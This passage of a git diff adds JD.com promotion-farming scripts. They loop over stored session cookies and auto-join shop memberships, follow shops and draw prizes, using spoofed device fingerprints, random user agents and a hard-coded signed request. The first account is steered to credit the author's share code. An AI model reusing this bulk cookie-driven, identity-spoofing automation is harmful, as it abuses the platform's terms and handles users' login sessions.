+function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/6685289?activityId=dz210768869312&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + }else if(data.success == false){ + $.log(data.message) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/6685289?activityId=dz210768869312&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + + +function getWxCommonInfoToken () { + //await $.wait(20) + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Origin':'https://lzdz1-isv.isvjcloud.com', + 'Referer':'https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token', + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + + +function getIsvObfuscatorToken () { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e415232&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt/pM7ENipVIQXuRiDyQ0FYw2aud9+AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=wifi&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJ2tPvKuaZvdpSgSWj4Rft6vj532pNv%2FCKtTDIdQHDjGpLlEc2uSsiMQQUTLV9Je9grp1cLq3H0VUzzfixZwWR4M5Q8POBAxkpKMun92VcSYcb6Es9VnenAIfXRVX%2FGYBK9bYxY4NCtDEYEP8Hdo5iUbygFO2ztKWTX1yisUO%2BQJEOojXBN9BqYg%3D%3D&uemps=0-0&st=1627049782034&sign=8faf48b6ada54b2497cfbb051cd0590d&sv=110`, + body: 'body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Fjinggengjcq-isv.isvjcloud.com%2Ffronth5%2F%3Flng%3D114.062541%26lat%3D29.541254%26sid%3D57b59835c68ed8959d124d644f61c58w%26un_area%3D4_48201_54794_0%23%2Fpages%2Feight-brands%2Feight-brands%22%7D&', + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Referer':'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e415232&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt/pM7ENipVIQXuRiDyQ0FYw2aud9+AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=wifi&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJ2tPvKuaZvdpSgSWj4Rft6vj532pNv%2FCKtTDIdQHDjGpLlEc2uSsiMQQUTLV9Je9grp1cLq3H0VUzzfixZwWR4M5Q8POBAxkpKMun92VcSYcb6Es9VnenAIfXRVX%2FGYBK9bYxY4NCtDEYEP8Hdo5iUbygFO2ztKWTX1yisUO%2BQJEOojXBN9BqYg%3D%3D&uemps=0-0&st=1627049782034&sign=8faf48b6ada54b2497cfbb051cd0590d&sv=110', + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.token); + } + }) + }) +} + +function getMyPing() { + //await $.wait(20) + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + body: `userId=1000377786&token=${$.isvObfuscatorToken}&fromType=APP`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Referer':'https://lzdz1-isv.isvjcloud.com/customer/getMyPing', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + let setcookie = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + + let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] + $.lz_jdpin_token = '' + if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ + $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function getHtml() { + //await $.wait(20) + return new Promise(resolve => { + $.get({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/aoyun/moreshop/activity/6685289?activityId=dz210768869312&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'X-Requested-With': 'com.jingdong.app.mall', + 'Cookie': `IsvToken=${$.isvObfuscatorToken}; __jdc=60969652; __jd_ref_cls=Mnpm_ComponentApplied; pre_seq=1; __jda=60969652.1622198480453678909255.1622198480.1626617117.1626757026.38; __jdb=60969652.1.1622198480453678909255|38.1626757026; mba_sid=187.2; pre_session=vFIEj/DyoMrR+8jmAgzXSqWcNxIDZica|319; __jdv=60969652%7Cdirect%7C-%7Cnone%7C-%7C1624292158074; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token} mba_muid=1622198480453678909255.187.1626757027670`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function adLog() { + return new Promise(resolve => { + let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/aoyun/moreshop/activity/6685289?activityId=dz210768869312&shareUuid=${$.shareUuid}` + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, + body: `venderId=1000377786&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=dz210768869312&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer':'https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data); + let setcookie = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] + if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ + $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' + $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function drawContent() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/common/drawContent`, + body: `activityId=dz210768869312&pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/aoyun/moreshop/activity/6685289?activityId=dz210768869312&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`, + body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/aoyun/moreshop/activity/6685289?activityId=dz210768869312&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.count === 0 && data.result){ + $.attrTouXiang = data.data.yunMidImageUrl + != data.data.yunMidImageUrl ? $.attrTouXiang = data.data.yunMidImageUrl : $.attrTouXiang = "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getActorUuid() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/aoyun/moreshop/activityContent`, + body: `activityId=dz210768869312&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer':'https://lzdz1-isv.isvjcloud.com/dingzhi/aoyun/moreshop/activityContent', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + data = JSON.parse(data); + $.gameTimes = data.data.gameTimes || 0 + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data.actorUuid); + } + }) + }) +} + + +function taskPostUrl(url, body) { + return { + url: `https://lzdz1-isv.isvjcloud.com${url}`, + body: body, + headers: { + "Host": "lzdz1-isv.isvjcloud.com", + "Accept": "application/json", + "X-Requested-With": "XMLHttpRequest", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://lzdz1-isv.isvjcloud.com", + "Connection": "keep-alive", + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/6685289?activityId=dz210768869312&shareUuid=${$.shareUuid}`, + "User-Agent": $.UA , + 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.0.8;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_olympic_opencard2.js b/backUp/gua_olympic_opencard2.js new file mode 100644 index 0000000..671d751 --- /dev/null +++ b/backUp/gua_olympic_opencard2.js @@ -0,0 +1,634 @@ +/* +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +邀请一人有几率奖励30豆 先到先得(不是邀请就都有豆的 + +入口 + +https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313&shareUuid=24f69db39f424a26b13708e0bdf56c76 + +============Quantumultx=============== +[task_local] +#7.31-8.10 全民奥运 激情奔跑 +30 0,8 * * * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_olympic_opencard2.js, tag=7.31-8.10 全民奥运 激情奔跑, enabled=true + +================Loon============== +[Script] +cron "30 0,8 * * *" script-path=gua_olympic_opencard2.js,tag=7.31-8.10 全民奥运 激情奔跑 + +===============Surge================= +7.31-8.10 全民奥运 激情奔跑 = type=cron,cronexp="30 0,8 * * *",wake-system=1,timeout=3600,script-path=gua_olympic_opencard2.js + +============小火箭========= +7.31-8.10 全民奥运 激情奔跑 = type=cron,script-path=gua_olympic_opencard2.js, cronexpr="30 0,8 * * *", timeout=3600, enable=true +*/ +const $ = new Env('7.31-8.10 全民奥运 激情奔跑'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if ($.isNode()) { + if (!process.env.guaolympicopencard2 || process.env.guaolympicopencard2 == "false") { + console.log('如需执行脚本请设置环境变量[guaolympicopencard2]为"true"') + return + } + } + $.shareUuid = '24f69db39f424a26b13708e0bdf56c76' + // 232 23 + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + getUA() + $.nickName = ''; + $.actorUuid = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let wxCommonInfoTokenData = await getWxCommonInfoToken(); + $.LZ_TOKEN_KEY = wxCommonInfoTokenData.LZ_TOKEN_KEY + $.LZ_TOKEN_VALUE = wxCommonInfoTokenData.LZ_TOKEN_VALUE + $.isvObfuscatorToken = await getIsvObfuscatorToken(); + $.myPingData = await getMyPing() + if ($.myPingData ==="" || $.myPingData === '400001') { + $.log("获取活动信息失败!") + continue + } + await getHtml(); + await adLog(); + await getUserInfo(); + $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + $.actorUuid = await getActorUuid(); + await drawContent(); + let checkOpenCardData = await checkOpenCard(); + if (checkOpenCardData && !checkOpenCardData.allOpenCard) { + for (let cardList1Element of checkOpenCardData.cardList1) { + $.log('入会: ' + cardList1Element.name) + await $.wait(1000) + await join(cardList1Element.value) + } + for (let cardList1Element of checkOpenCardData.cardList2) { + $.log('入会: ' + cardList1Element.name) + await $.wait(1000) + await join(cardList1Element.value) + } + }else{ + $.log("开完卡: " + checkOpenCardData.allOpenCard) + } + + await $.wait(1000) + await drawContent(); + checkOpenCardData = await checkOpenCard(); + if(checkOpenCardData && checkOpenCardData.score1 == 1) await openCardStartDraw(1) + if(checkOpenCardData && checkOpenCardData.score2 == 1) await openCardStartDraw(2) + //关注 + await followShop(); + await getDrawRecordHasCoupon() + $.playItemId = '' + await getActorUuid() + // $.log($.actorUuid) + $.log($.shareUuid) + if (i === 0) { + 